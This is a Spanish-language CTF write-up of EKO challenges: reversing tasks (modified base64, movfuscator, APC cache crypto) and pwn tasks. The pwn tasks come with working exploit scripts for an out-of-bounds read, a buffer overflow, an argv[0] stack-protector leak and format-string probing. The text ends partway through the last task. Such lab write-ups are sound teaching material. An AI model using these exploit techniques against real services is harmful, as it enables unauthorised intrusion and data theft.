.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40

Aqui esta la misma tabla en una implementacion en el dominio publico:

const char _b64_dtbl[128] = { 
    0x40,0x40,0x40,0x40,  0x40,0x40,0x40,0x40, 0x40,0x40,0x40,0x40,  0x40,0x40,0x40,0x40,
    0x40,0x40,0x40,0x40,  0x40,0x40,0x40,0x40, 0x40,0x40,0x40,0x40,  0x40,0x40,0x40,0x40,
    0x40,0x40,0x40,0x40,  0x40,0x40,0x40,0x40, 0x40,0x40,0x40,0x3E,  0x40,0x40,0x40,0x3F,
    0x34,0x35,0x36,0x37,  0x38,0x39,0x3A,0x3B, 0x3C,0x3D,0x40,0x40,  0x40,0x00,0x40,0x40,
    
    0x40,0x00,0x01,0x02,  0x03,0x04,0x05,0x06, 0x07,0x08,0x09,0x0A,  0x0B,0x0C,0x0D,0x0E,
    0x0F,0x10,0x11,0x12,  0x13,0x14,0x15,0x16, 0x17,0x18,0x19,0x40,  0x40,0x40,0x40,0x40,
    0x40,0x1A,0x1B,0x1C,  0x1D,0x1E,0x1F,0x20, 0x21,0x22,0x23,0x24,  0x25,0x26,0x27,0x28,
    0x29,0x2A,0x2B,0x2C,  0x2D,0x2E,0x2F,0x30, 0x31,0x32,0x33,0x40,  0x40,0x40,0x40,0x40
};

Vemos que el binario incluye una tabla de valores modificada: la implementación de referencia lleva un 0x26, 0x27, 0x28, y 0x29, el binario del reto lleva un 0x27, 0x26, 0x29, y 0x28.

Estos valores son posiciones en el array de los caracteres validos en base64. Básicamente podemos tomar una implementación de base64 y cambiar el array usando esas posiciones para reimplementar la función.

Aquí tenemos un recurso sobre base64 donde vemos el array del que estoy hablando:

 var base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split("");

Lo que necesitamos es cambiar intercambiar los caracteres en la posición 0x26 y 0x27, y hacer lo mismo con los caracteres en la 0x28 y 0x29, en ese caso sería:

 var base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmpoqrstuvwxyz0123456789+/'.split("");

Yo use esta implementacion que encontre en Python, y tras cambiar el array de caracteres intente hacer un:

print tobase64("PASS_QIV1qyLR0hFEQU5KCbfm3Hok5V0VmpinCWseVd2X")

La salida fue esta: 

UEFTU19RSVYxcXlMUjBpRkVRVTVLQ2JnbTNIb2s1VjBWbXBobkNXc2VWZDJY

Como parecía que la funciínMD5 era importada desde OpenSSL, si calculamos el hash MD5 de este código que encontramos y le agregamos los "EKO{" y "}" al principio y al final, deberíamos tener nuestra bandera.  El MD5 es este: 4fa8c8eac431266a25f56a297a73c334.  La flag sería: EKO{4fa8c8eac431266a25f56a297a73c334}.

Pero ya que es ARM vamos a probarlo tambien en una Raspberry Pi:

$ ./decoder 
Please, enter your encoded password: UEFTU19RSVYxcXlMUjBpRkVRVTVLQ2JnbTNIb2s1VjBWbXBobkNXc2VWZDJY
Great! the flag is EKO{4fa8c8eac431266a25f56a297a73c334}

Otro reto resuelto via análisis estático :) Flag: EKO{4fa8c8eac431266a25f56a297a73c334}

[rev100] MOV

Description: Find the flag through the obscure code
Attachment: reversing100.zip

Un reto basado en en el paper "mov is Turing-complete" (Dolan, 2013) y (seguramente) el compilador/ofuscador movfuscator.  Haciendolo via análisis estático, me pareció un buen reto.  Haciéndolo vía análisis dinámico se pierde la gracia.

Vamos a hacerlo primero de la forma difícil! Lo que sabemos de movfuscator es que funciona como una maquina de estados finitos, lo que nos lleva a pensar que procesara un caracter a la vez.  Lo que sabemos de la flag es que en los demas retos usa el formato EKO{lo_que_sea}, asumiremos que aquí también.

Si hacemos una búsqueda de valores inmediatos del caracter "{" nos encontramos con una lista larguísima de resultados:

Address        Function Instruction
-------        -------- -----------
.data:0804FB5E          db  7Bh ; {
.data:0804FB5F          db  7Bh ; {
.data:0804FC5E          db  7Bh ; {

.data:081F4E3C          db  7Bh ; {
.data:081F523C          db  7Bh ; {
.data:081F627C          db  7Bh ; {

Pero ninguna de ellas corresponde a una instruccion MOV, asi que no es lo que buscamos.

Probamos suerte con el caracter "_" y encontramos otra lista larguisima, pero esta vez si vemos algunos MOV:

Address        Function Instruction                     
-------        -------- -----------                     
.text:08048D9F          mov     dword_804D570, 5Fh ; '_'
.text:08049023          mov     dword_804D570, 5Fh ; '_'
.text:08049362          mov     dword_804D570, 5Fh ; '_'
.text:08049519          mov     dword_804D570, 5Fh ; '_'
.data:0804FB42          db  5Fh ; _                     
.data:0804FB43          db  5Fh ; _                     

.data:081F49A2          db  5Fh ; _                     
.data:081F4AA2          db  5Fh ; _                     
.data:081F4BA3          db  5Fh ; _                     
.data:081F4DCC          db  5Fh ; _                     
.data:081F51CC          db  5Fh ; _                     
.data:081F620C          db  5Fh ; _                     

Vemos que que las cuatro instrucciones MOV son iguales y que están relativamente cerca.

Este es el trozo de código desde la primera ocurrencia hasta la segunda:

.text:08048D9F                 mov     dword_804D570, 5Fh ; '_'
.text:08048DA9                 mov     eax, off_83F6654
.text:08048DAE                 mov     edx, 0FFFFFFEFh
.text:08048DB3                 mov     dword_81F6510, eax
.text:08048DB8                 mov     dword_81F6514, edx
.text:08048DBE                 mov     eax, 0
.text:08048DC3                 mov     ebx, 0
.text:08048DC8                 mov     ecx, 0
.text:08048DCD                 mov     dword_81F651E+2, 0
.text:08048DD7                 mov     ax, word ptr dword_81F6510
.text:08048DDD                 mov     bx, word ptr dword_81F6514
.text:08048DE4                 mov     cx, word_81F6522
.text:08048DEB                 mov     edx, off_8061450[eax*4]
.text:08048DF2                 mov     edx, [edx+ebx*4]
.text:08048DF5                 mov     edx, off_8061450[edx*4]
.text:08048DFC                 mov     edx, [edx+ecx*4]
.text:08048DFF                 mov     word ptr dword_81F6518, dx
.text:08048E06                 mov     dword_81F651E+2, edx
.text:08048E0C                 mov     ax, word ptr dword_81F6510+2
.text:08048E12                 mov     bx, word ptr dword_81F6514+2
.text:08048E19                 mov     cx, word_81F6522
.text:08048E20                 mov     edx, off_8061450[eax*4]
.text:08048E27                 mov     edx, [edx+ebx*4]
.text:08048E2A                 mov     edx, off_8061450[edx*4]
.text:08048E31                 mov     edx, [edx+ecx*4]
.text:08048E34                 mov     word ptr dword_81F6518+2, dx
.text:08048E3B                 mov     dword_81F651E+2, edx
.text:08048E41                 mov     eax, dword_81F6518
.text:08048E46                 mov     edx, dword_83F6678
.text:08048E4C                 mov     dword_83F6694, eax
.text:08048E51                 mov     eax, off_83F6690[edx*4]
.text:08048E58                 mov     dl, byte ptr dword_804D570
.text:08048E5E                 mov     [eax], dl
.text:08048E60                 mov     dword_804D570, 59h ; 'Y'
.text:08048E6A                 mov     eax, off_83F6654
.text:08048E6F                 mov     eax, [eax-200068h]
.text:08048E75                 mov     eax, [eax-200068h]
.text:08048E7B                 mov     eax, [eax-200068h]
.text:08048E81                 mov     eax, [eax-200068h]
.text:08048E87                 mov     edx, dword_83F6678
.text:08048E8D                 mov     dword_83F6694, eax
.text:08048E92                 mov     eax, off_83F6690[edx*4]
.text:08048E99                 mov     dl, byte ptr dword_804D570
.text:08048E9F                 mov     [eax], dl
.text:08048EA1                 mov     dword_804D570, 6Fh ; 'o'
.text:08048EAB                 mov     eax, off_83F6654
.text:08048EB0                 mov     edx, 0FFFFFFF1h
.text:08048EB5                 mov     dword_81F6510, eax
.text:08048EBA                 mov     dword_81F6514, edx
.text:08048EC0                 mov     eax, 0
.text:08048EC5                 mov     ebx, 0
.text:08048ECA                 mov     ecx, 0
.text:08048ECF                 mov     dword_81F651E+2, 0
.text:08048ED9                 mov     ax, word ptr dword_81F6510
.text:08048EDF                 mov     bx, word ptr dword_81F6514
.text:08048EE6                 mov     cx, word_81F6522
.text:08048EED                 mov     edx, off_8061450[eax*4]
.text:08048EF4                 mov     edx, [edx+ebx*4]
.text:08048EF7                 mov     edx, off_8061450[edx*4]
.text:08048EFE                 mov     edx, [edx+ecx*4]
.text:08048F01                 mov     word ptr dword_81F6518, dx
.text:08048F08                 mov     dword_81F651E+2, edx
.text:08048F0E                 mov     ax, word ptr dword_81F6510+2
.text:08048F14                 mov     bx, word ptr dword_81F6514+2
.text:08048F1B                 mov     cx, word_81F6522
.text:08048F22                 mov     edx, off_8061450[eax*4]
.text:08048F29                 mov     edx, [edx+ebx*4]
.text:08048F2C                 mov     edx, off_8061450[edx*4]
.text:08048F33                 mov     edx, [edx+ecx*4]
.text:08048F36                 mov     word ptr dword_81F6518+2, dx
.text:08048F3D                 mov     dword_81F651E+2, edx
.text:08048F43                 mov     eax, dword_81F6518
.text:08048F48                 mov     edx, dword_83F6678
.text:08048F4E                 mov     dword_83F6694, eax
.text:08048F53                 mov     eax, off_83F6690[edx*4]
.text:08048F5A                 mov     dl, byte ptr dword_804D570
.text:08048F60                 mov     [eax], dl
.text:08048F62                 mov     dword_804D570, 75h ; 'u'
.text:08048F6C                 mov     eax, off_83F6654
.text:08048F71                 mov     edx, 0FFFFFFF2h
.text:08048F76                 mov     dword_81F6510, eax
.text:08048F7B                 mov     dword_81F6514, edx
.text:08048F81                 mov     eax, 0
.text:08048F86                 mov     ebx, 0
.text:08048F8B                 mov     ecx, 0
.text:08048F90                 mov     dword_81F651E+2, 0
.text:08048F9A                 mov     ax, word ptr dword_81F6510
.text:08048FA0                 mov     bx, word ptr dword_81F6514
.text:08048FA7                 mov     cx, word_81F6522
.text:08048FAE                 mov     edx, off_8061450[eax*4]
.text:08048FB5                 mov     edx, [edx+ebx*4]
.text:08048FB8                 mov     edx, off_8061450[edx*4]
.text:08048FBF                 mov     edx, [edx+ecx*4]
.text:08048FC2                 mov     word ptr dword_81F6518, dx
.text:08048FC9                 mov     dword_81F651E+2, edx
.text:08048FCF                 mov     ax, word ptr dword_81F6510+2
.text:08048FD5                 mov     bx, word ptr dword_81F6514+2
.text:08048FDC                 mov     cx, word_81F6522
.text:08048FE3                 mov     edx, off_8061450[eax*4]
.text:08048FEA                 mov     edx, [edx+ebx*4]
.text:08048FED                 mov     edx, off_8061450[edx*4]
.text:08048FF4                 mov     edx, [edx+ecx*4]
.text:08048FF7                 mov     word ptr dword_81F6518+2, dx
.text:08048FFE                 mov     dword_81F651E+2, edx
.text:08049004                 mov     eax, dword_81F6518
.text:08049009                 mov     edx, dword_83F6678
.text:0804900F                 mov     dword_83F6694, eax
.text:08049014                 mov     eax, off_83F6690[edx*4]
.text:0804901B                 mov     dl, byte ptr dword_804D570
.text:08049021                 mov     [eax], dl
.text:08049023                 mov     dword_804D570, 5Fh ; '_'

Y vemos que se esta confirmando un string :)

Si regresamos un poco mas podemos encontrar otros MOV con caracteres imprimibles.  De igual forma, si seguimos bajando encontraremos otros tantos.  Aqui esta la lista completa, eliminando las instrucciones intermedias:

.text:08048BD6                 mov     dword_804D570, 41h ; 'A'
.text:08048C1D                 mov     dword_804D570, 6Ch ; 'l'
.text:08048CDE                 mov     dword_804D570, 6Ch ; 'l'
.text:08048D9F                 mov     dword_804D570, 5Fh ; '_'
.text:08048E60                 mov     dword_804D570, 59h ; 'Y'
.text:08048EA1                 mov     dword_804D570, 6Fh ; 'o'
.text:08048F62                 mov     dword_804D570, 75h ; 'u'
.text:08049023                 mov     dword_804D570, 5Fh ; '_'
.text:080490E4                 mov     dword_804D570, 4Eh ; 'N'
.text:0804911F                 mov     dword_804D570, 65h ; 'e'
.text:080491E0                 mov     dword_804D570, 65h ; 'e'
.text:080492A1                 mov     dword_804D570, 64h ; 'd'
.text:08049362                 mov     dword_804D570, 5Fh ; '_'
.text:08049397                 mov     dword_804D570, 49h ; 'I'
.text:08049458                 mov     dword_804D570, 73h ; 's'
.text:08049519                 mov     dword_804D570, 5Fh ; '_'
.text:080495DA                 mov     dword_804D570, 6Dh ; 'm'
.text:08049609                 mov     dword_804D570, 30h ; '0'
.text:080496CA                 mov     dword_804D570, 76h ; 'v'

Encontramos el string "All_You_Need_Is_m0v" :)  Agregando el "EKO{" al inicio y el "}" se obtiene la flag!

Ahora veamoslo de la forma : En IDA identificamos este string:

.data:0804D3D8 aCongratsThisIs db 'Congrats!',0Ah      ; DATA XREF: .text:0804B41B o
.data:0804D3D8                 db 'This is the flag you are looking for: EKO{%s}',0Ah,0

Seguimos el XREF y ponemos un breakpoint en:

.text:0804B41B                 mov     eax, offset aCongratsThisIs ; "Congrats!\nThis is the flag you are loo"...

Lanzamos gdbserver, hacemos el attach desde IDA y en el stack vemos:

085F6664  5F6C6C41  MEMORY:5F6C6C41
085F6668  5F756F59  MEMORY:5F756F59
085F666C  6465654E  MEMORY:6465654E
085F6670  5F73495F  MEMORY:5F73495F
085F6674  0076306D  MEMORY:0076306D

Que es el mismo "All_You_Need_Is_m0v" codificado en hexadecimal.  Podemos hacer un "Follow in hex dump" para confirmar:

085F6664  41 6C 6C 5F 59 6F 75 5F  4E 65 65 64 5F 49 73 5F  All_You_Need_Is_
085F6674  6D 30 76 00 00 00 00 00  00 00 00 00 00 00 00 00  m0v.............

Si no saliera tan fácil via análisis dinámico, este seria un buen reto.

Flag: EKO{All_You_Need_Is_m0v}

[rev200]  Reversing the APC cache

Description: Strings are not always an alternative.
Hints: APC 3.1.13 with PHP 5.4 was used.
Attachment: reversing200.zip
Como nos dicen que "strings" no es una opción, esto es justamente lo que usaremos :)

$ strings cache.data | sort -u
azdgcrypt
AzDGCrypt
base64_decode
base64_encode
    </body>
    <body>
"bvMR
CmxQ
crypt
decrypt
e88ef51d4112b999380444ce48488762
EKO{this_is_not_the_flag}
flag
        </form>
        <form method="POST" action="login.php">
hash
header
    <head></head>
</html>
<html>
            <input type="submit" value="Login">
            <input type="text" name="token">
$@Kp
Location: index.php
Mg==
MgY/
microtime
_POST
$`=q
rand
$`rr
sha1
srand
strlen
substr
token
/var/www/html/index.php
/var/www/html/login.php
Welcome master, your key is EKO{


Los strings incluyen referencias a un "AzDGCrypt" y en codepearl.com encontramos una copia de esta clase junto con un ejemplo de uso:

require_once("AzDGCrypt.class.inc.php");
$keys = "1234567890abcdefghjklmn1234567890@#$%^&*()!"; // you must entered your key
$cr64 = new AzDGCrypt($keys);
$e = $cr64->crypt($keys);
echo "Crypted information = ".$e."<br>";
$d = $cr64->decrypt($e);
echo "Decrypted information = ".$d."<br>";

Vemos algunos strings que tenemos en el archivo cache. Vamos por buen camino!  Ahora, si estudiamos la función crypt() veremos:

   function crypt($t){ 
      srand((double)microtime()*1000000); 
      $r = md5(rand(0,32000)); 
      $c=0; 
      $v = ""; 
      for ($i=0;$i<strlen($t);$i++){ 
         if ($c==strlen($r)) $c=0; 
         $v.= substr($r,$c,1) . 
             (substr($t,$i,1) ^ substr($r,$c,1)); 
         $c++; 
      } 
      return base64_encode($this->ed($v)); 
   } 

Encontramos otras funciones que vimos antes con strings y tambien una variable $r que se calcula como un md5 de un valor aleatorio.  En los strings veiamos un "e88ef51d4112b999380444ce48488762" que podría ser este md5.  Finalmente vemos que se retorna un valor codificado en base64 en los strings veiamos tambien ese "Mg==" y una referencia a substr() que podría indicarnos que lo que sea calculamos retorna algo que termina en "Mg==".   Como tenemos el string mas evidente de todos: "EKO{this_is_not_the_flag}" (que efectivamente no es la flag) intentaremos cifrar ese string usando el md5 que tenemos como valor de $r. Entonces modificamos la funcion crypt para dejar el valor de $r hardcoded y si el resultado retornado termina en "Mg==" vamos por buen camino:

$ php -f rev200.php
Crypted information = ABgAFl5CVHpSIwRvU2FdLgdTAWwFdlEIVjQNbgF6D1RWfwA1VmAFDwBjBWoBO1w7B3E=
Decrypted information = EKO{this_is_not_the_flag}


Decepcionante.  No va por aqui la cosa.  Tal vez el md5 que tenemos no es el valor de $r sino el valor de la clave para AzDGCrypt.  O tal vez la clave si es "EKO{this_is_not_the_flag}" y el md5 es el valor que estamos cifrando.  Algo de fuerza bruta debería ayudarnos a salir de la duda…

Comencemos por asumir que "EKO{this_is_not_the_flag}" es el mensaje y "e88ef51d4112b999380444ce48488762" es la clave.  Entonces, modificamos la función crypt para que $r pueda pasarse como parametro y hacemos un loop para probar todos los posibles valores del numero aleatorio:

$cr64 = new AzDGCrypt("e88ef51d4112b999380444ce48488762");
for ( $i = 0; $i < 32000 ; $i++ ) {
    $e = $cr64->crypt("EKO{this_is_not_the_flag}", $i);
    echo $i . "\t"  . $e . "\n";
}

Si redireccionamos la salida a un archivo y filtramos las que incluyen "Mg==" tenemos:

$ php -f rev200.php > log
$ grep "Mg==" log | wc -l
0

No es por aqui la cosa.  Asumiremos entonces lo contrario: que "EKO{this_is_not_the_flag}" es la clave y que "e88ef51d4112b999380444ce48488762" es el mensaje a cifrar.  Aqui el ciclo modificado:

$cr64 = new AzDGCrypt("EKO{this_is_not_the_flag}");
for ( $i = 0; $i < 32000 ; $i++ ) {
    $e = $cr64->crypt("e88ef51d4112b999380444ce48488762", $i);
    echo $i . "\t"  . $e . "\n";
}

Redireccionamos la salida a un archivo y filtramos para "Mg==":

$ php -f rev200.php > log
$ grep "Mg==" log | wc -l
2064


Pasamos de 32000 a 2064 posibilidades, es una mejora. Pero queremos algo mas cercano… Revisando de nuevo los strings vemos que despues de "Mg==" viene un "MgY/" asi que nos aventuramos a usarlo como filtro

$ grep "Mg==" log | grep "MgY/"
7801    UDZWbwo5VWYPYAI3VjcEZQc0BzMHNlo8AzdXOQ83BWwCMgY/CzABYwo3UWUAMwZmVmVXagE1VjoFa1U1ADdQMg==
9259    VjAGPwQ3V2RaNVtuUjNXNlJhAzcHNlA2BDADbQY+UDkCMgY/BD9VNwk0VGBRYgRkADMGOwI2Uj4EagZmDzhQMg==
11368   BWNVbAc0VmVYN1FkA2JQMQAzVGAENVA2BTEPYVRsXzYCMgY/UGtQMgs2UGQHNAdnAjEEOVFlBmpVOwJiAzRQMg==
13711   VjBXbgc0ADMOYQA1UDFWN1ZlBjJWZ1UzV2MBb1NrAmsCMgY/BzwHZV9iWm5SYQBgCzgEOQ05WzcGaAFhBzBQMg==
14655   A2UBOAU2CjkJZgA1BGUEZVdkVGADMgZgCz9VOwM7VTwCMgY/BD9RM19iADRWZQNjUGMFOAUxBWkAblQ0UGdQMg==
16204   BGIBOAMwBTYJZgcyUTAFZAIxVGBQYQBmCz9UOgM7A2oCMgY/U2gFZw8yBTEGNVAwATJXagE1VjoHaQFhDzhQMg==
17291   CmxQaQAzBTYKZQYzAWAFZAY1V2NVZAZgUGQCbAU9Vz4CMgY/AzgLaQwxWm5SYVY2UGNUaVFlAm5VO1MzBDNQMg==
17853   BWNXbgU2ADMBblVgVjcNbAY1BDAFNFA2VmIEagc/UjsCMgY/Bj0AYgg1W28LOAdnBjUHOgI2WjZXOQNjV2BQMg==
21780   UTdXbgY1BDcIZwcyAGEBYAo5BjIDMlQyUWUPYVRsXzYCMgY/CzBSMAs2V2NRYgZmVWYDPg05VDgKZANjBDNQMg==


Esto promete mucho mas.  Solo quedan nueve resultados y hemos resaltado uno de ellos porque sus caracteres iniciales tambien estaban en la lista de strings. Ademas, los tres substrings se distribuyen de forma ordenada en el string (al inicio, al centro y al final, no debe ser casualidad). Este es nuestro valor mas probable!

OK. Pero, valor mas probable de que? o para que? aun no lo sabemos :(

El titulo del reto (y la pista que se libero mas tarde) hablan explicitamente de APC.  El php-apc en mi Debian reportaba una violacion de segmento cuando intenté cargar el archivo de volcado.

Como quería resolver el reto usando sólo strings volvi a analizar la salida.  Marcando con rojo todo lo que ya entendía pues se relacionaba con el cifrador y analizando lo que aun no había usado:

$ strings cache.data | sort -u
azdgcrypt
AzDGCrypt
base64_decode
base64_encode
    </body>
    <body>
"bvMR
CmxQ
crypt
decrypt
e88ef51d4112b999380444ce48488762
EKO{this_is_not_the_flag}
flag
        </form>
        <form method="POST" action="login.php">
hash
header
    <head></head>
</html>
<html>
            <input type="submit" value="Login">
            <input type="text" name="token">
$@Kp
Location: index.php
Mg==
MgY/
microtime
_POST
$`=q
rand
$`rr
sha1
srand
strlen
substr
token
/var/www/html/index.php
/var/www/html/login.php
Welcome master, your key is EKO{


Dentro de lo que quedaba en blanco, resalte un "_POST", un "token" y un par de rutas.  Pero mas importante: un sha1! Por allí tenía que seguir.   Además ya estabamos llegando al final de los strings con el mensaje que prometía una flag.

Si calculamos el sha1 del string que hemos hallado y le agregamos el "EKO{" y "}" al principio y al final, obtendremos la bandera: EKO{59a59936b318e8ef20fd923a3e7b05a1e44e9e91}.  Y si, strings siempre es una opción!

Pero bueno, para los que está forma de resolverlo les parezca excesiva en abstracción, veamos como se podía obtener la flag usando APC…  Como el APC en mi Debian seguía lanzando violaciones de segmento, seguí esta guía para instalarlo desde PEAR y habilitarlo en el CLI.  Basado en los string que me faltaban (el campo token en un formulario y las rutas de archivo) y luego de unos pocos minutos (120?) haciendo pruebas, encontré que cargando el archivo cache.data con la función apc_bin_loadfile()  y seteando el valor de "token" via POST podíamos incluir los archivos:

apc_bin_loadfile('cache.data');
$_POST['token'] = 'CmxQaQAzBTYKZQYzAWAFZAY1V2NVZAZgUGQCbAU9Vz4CMgY/AzgLaQwxWm5SYVY2UGNUaVFlAm5VO1MzBDNQMg==';
include('/var/www/html/login.php');

Y de esta forma se confirma la flag:

Welcome master, your key is EKO{59a59936b318e8ef20fd923a3e7b05a1e44e9e91}

Lo confieso: odie este reto.  La parte del crypter fue divertida, y enfrentarse al reto con "strings" lo hacia mucho mejor.  Pero resolverlo tomó horas y al final, la parte de superar la violación de segmento tomo mucho mas tiempo del que voy a reconocer.  En todo caso, no se si lo de "strings" lo decian en serio o si era una pista…

Pwning

[pwn25] PRNG Service

Description: This is our PRNG service
running at:
nc challs.ctf.site 20003
Attachment: pwn25.zip
El archivo pwn25.zip contenia codigo fuente en lenguage C:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <answer.h>

int main()
{
        signed int i;
        unsigned int base, try, rnd[128];

        printf("Welcome to PRNG service\nPlease wait while we generate 64 random numbers...\n");
        fflush(0);
        sleep(2);
        strcpy((char *)&rnd[0], ANSWER);
        srandom(1337);
        base = 64;
        for (i = 0; i < 64; i++) rnd[base + i] = random();
        printf("Process finished\n");
        fflush(0);
        try = 0;
        while (try < 10) {
                printf("Choose a number [0-63]?");
                fflush(0);

                scanf("%d", &i);
                fflush(0);

                if (i < 64) {
                        printf ("Your number is: 0x%08x\n", rnd[base + i]);
                } else {
                        printf("Index out of range\n");
                }
                try++;
                fflush(0);

        }
        printf ("Thank you for using our service\n");
        fflush(0);

        return 0;
}

Los números aleatorios se almacenan en el arreglo rnd a partir de la posición 64.  En la posición 0 esta la bandera.  Nos piden elegir una posición entre 0 y 63 y validan que el numero sea menor que 63 pero no validan que sea menor que cero.

Se veía tan sencillo que no intente mucho ordenar la conexión y aunque podíamos pedir 10 números en una sesión, fue mas rápido pedir el mismo numero hasta que se cerraba la sesión y luego el abrir una nueva sesión para el siguiente numero:

import telnetlib
import re
import struct
lst = list()
for j in range(56,65):
    tn = telnetlib.Telnet('challs.ctf.site', 20003, timeout=30)
    for i in range(20):
        tn.write("%s" % -j)
    response = tn.read_all()
    lst.append(struct.pack('L', int(re.findall('0x.{8}', response)[0], 16)))
lst.reverse()
print ''.join(lst)

Flag: EKO{little_endian_and_signed_-1nt}

[pwn50] Login!

Description: Are you admin?
nc challs.ctf.site 20000
Attachment: pwn50.zip

Aqui esta la función main() decompilada:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed __int64 v3; // rcx@2
  int *v4; // rdi@2
  int result; // eax@11
  __int64 v6; // rbx@11
  FILE *stream; // [sp+18h] [bp-D8h]@1
  int user_read_len; // [sp+20h] [bp-D0h]@2
  int user; // [sp+24h] [bp-CCh]@5
  int pass_read_len; // [sp+34h] [bp-BCh]@5
  __int64 pass; // [sp+38h] [bp-B8h]@5
  int show_pass; // [sp+48h] [bp-A8h]@5
  char s; // [sp+50h] [bp-A0h]@2
  __int64 v14; // [sp+D8h] [bp-18h]@1

  v14 = *MK_FP(__FS__, 40LL);
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    fgets(&s, ' ', stream);
    fclose(stream);
    v3 = 5LL;
    v4 = &user_read_len;
    while ( v3 )
    {
      *v4 = 0LL;
      v4 += 2;
      --v3;
    }
    *v4 = 0;
    user_read_len = 17;
    pass_read_len = 16;
    show_pass = 0;
    printf("User : ", ' ', v4 + 1, argv);
    fflush(0LL);
    read(0, &user, user_read_len);
    printf("Password : ", &user);
    fflush(0LL);
    read(0, &pass, pass_read_len);
    if ( !strncmp(&user, "charly", 6uLL) && !strncmp(&pass, "h4ckTH1s", 8uLL) )
    {
      puts("Welcome guest!");
      if ( show_pass == 1 )
        printf("Your flag is : %s\n", &s);
    }
  }
  else
  {
    puts("Error leyendo datos");
  }
  result = 0;
  v6 = *MK_FP(__FS__, 40LL) ^ v14;
  return result;
}

El objetivo es iniciar sesión como "charly" usando la clave "h4ckTH1s" y cambiar la variable "show_pass" para que valga uno.  Por la posición relativa de las variables, podemos simplemente enviar un username que incluya "charly", agregue algún padding, sobrescriba la longitud del password que vamos a leer, incluya "h4ckTH1s" para el password, agregue algo mas de padding y modifique la variable que nos interesa!

import telnetlib
tn = telnetlib.Telnet('challs.ctf.site', 20000)
tn.write("charly" + "A" * 10 + "\x11" + "h4ckTH1s" + "B" * 8 + "\x01")
print  tn.read_all()
tn.close()    

Lo que genera la salida:

Welcome guest!
Your flag is : EKO{Back_to_r00000ooooo00000tS}

Ciertamente, otro clasico.

[pwn100] Smashing the stack for fun and profit

Description: nc challs.ctf.site 20001
Attachment: pwn100.zip
Al conectarnos al servicio econtrabamos lo siguiente:

$ nc challs.ctf.site 20001
Interesting data loaded at 0x7fffffffe540
Your username?

La dirección 0x7fffffffe540 no variaba si volviamos a conectarnos.

Si enviábamos un username grande, podíamos desbordar el buffer (no verifiqué el tamaño exacto del buffer, pero 200 bytes eran suficientes para desbordarlo).  Lo interesante es que recibíamos el típico mensaje del stack protector: *** stack smashing detected ***.

No tengo el log exacto del error, pero como contabamos con el binario podemos replicarlo localmente:

*** stack smashing detected ***: ./xpl terminated

Lo interesante es que el mensaje de error incluye argv[0] y podemos usar eso para hacer un leak.  El truco lo vi por primera vez en un mensaje de Dan Rosenberg, y lo hacía con FORTIFY_SOURCE, pero lo idea es la misma; desbordar hasta sobreescribir argv[0] con la dirección que nos interesa.

Como teníamos el binario podíamos calcular localmente que tanto desbordar para lograrlo, pero si en lugar de enviar padding + la direccion, enviamos muchas veces la direccion, podemos tantear enviando mas de las necesarias y aun asi funcionara.  La desventaja es que segun el tamño del buffer la dirección se puede desalinear, entonces requeriremos algun padding (pero en este caso puede calcularse en maximo 8 intentos).

En mi maquina creo un flag.txt con el contenido "EKO{flag_here}" y corro el binario para ver que dirección contine la información.  Aquí es 0x7fffffffdbc0.

Preparo un script para hacer fuerza bruta en el tamaño del buffer que desbordo.  La idea es enviar esa dirección múltiples veces (para este caso, el stack esta alineado, asi que puedo dejar un loop infinito y usar un break):

import subprocess
import struct

i = 1
while True:
    xpl = subprocess.Popen( "./xpl", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT )
    output = xpl.communicate( b"%s\n" % (i * struct.pack('Q', 0x7fffffffdbc0)))[0]
    if "EKO{flag_here}" in output:
        print i, output
        break
    i += 1

Al correrlo ubicamos el offset necesario para hacer un leak de la flag:

$ echo -n "EKO{flag_here}" > flag.txt
$ python pwn100.py
48 Interesting data loaded at 0x7fffffffdbc0
Your username? *** stack smashing detected ***: EKO{flag_here} terminated

Entonces si enviamos un username que consiste en la dirección que nos interesa 48 veces seguidas (como mínimo, pueden ser también 50 o mas) conseguiremos el leak que buscamos:


$ python -c "import struct;print 50 * struct.pack('Q', 0x7fffffffe540)" | nc challs.ctf.site 20001
Interesting data loaded at 0x7fffffffe540
Your username? *** stack smashing detected ***: EKO{pwning_stack_protector}
 terminated

Flag: EKO{pwning_stack_protector}

[pwn200] ECHOES

Description: nc challs.ctf.site 20002
Hints: 3k0_p4rty_2015! is not the flag! go deeper.
Sin duda este fue el mejor nivel de todos.   Un ataque de formato de cadena con la restricción de que la entrada es truncada a 12 caracteres (lo que evita algunos ataques directos).   Adicionalmente, se filtra también el uso de %n (aunque esto no lo sabemos de entrada).

Comenzamos usando las técnicas descritas por Paul Hass en la DEFCON 18 para explorar el stack.  Lo primero fue  enviar algo como esto:

import telnetlib
tn = telnetlib.Telnet('challs.ctf.site', 20002)
tn.read_until("Enter your name: ")
for i in range(1, 10):
    tn.write("ABCDEF %{0}$p".format(i))
    print i, tn.read_until("Enter your name: ")
tn.read_all()
tn.write("bye")
tn.close()

Para ubicar nuestra cadena de entrada en el stack:

1 Hi ABCDEF 0x13370a97
Enter your name: 
2 Hi ABCDEF 0xc
Enter your name: 
3 Hi ABCDEF 0x1337070e
Enter your name: 
4 Hi ABCDEF 0x10
Enter your name: 
5 Hi ABCDEF 0x13370326
Enter your name: 
6 Hi ABCDEF (nil)
Enter your name: 
7 Hi ABCDEF 0x41000000
Enter your name: 
8 Hi ABCDEF 0x45444342
Enter your name: 
9 Hi ABCDEF 0x39252046
Enter your name: 

Confirmamos entonces que el argumento 8 refleja nuestra entrada desde el segundo caracter (el primero queda reflejado en el ultimo byte del argumento 7).

Ahora exploramos un poco mas el stack:

import telnetlib
tn = telnetlib.Telnet('challs.ctf.site', 20002)
tn.read_until("Enter your name: ")
for i in range(1, 20):
    tn.write("%{0}$p".format(i))
    print i, tn.read_until("Enter your name: ")
tn.read_all()
tn.write("bye")
tn.close()

Y obtenemos:

1 Hi 0x13370a97
Enter your name: 
2 Hi 0xc
Enter your name: 
3 Hi 0x1337070e
Enter your name: 
4 Hi 0x10
Enter your name: 
5 Hi 0x13370326
Enter your name: 
6 Hi (nil)
Enter your name: 
7 Hi 0x25000000
Enter your name: 
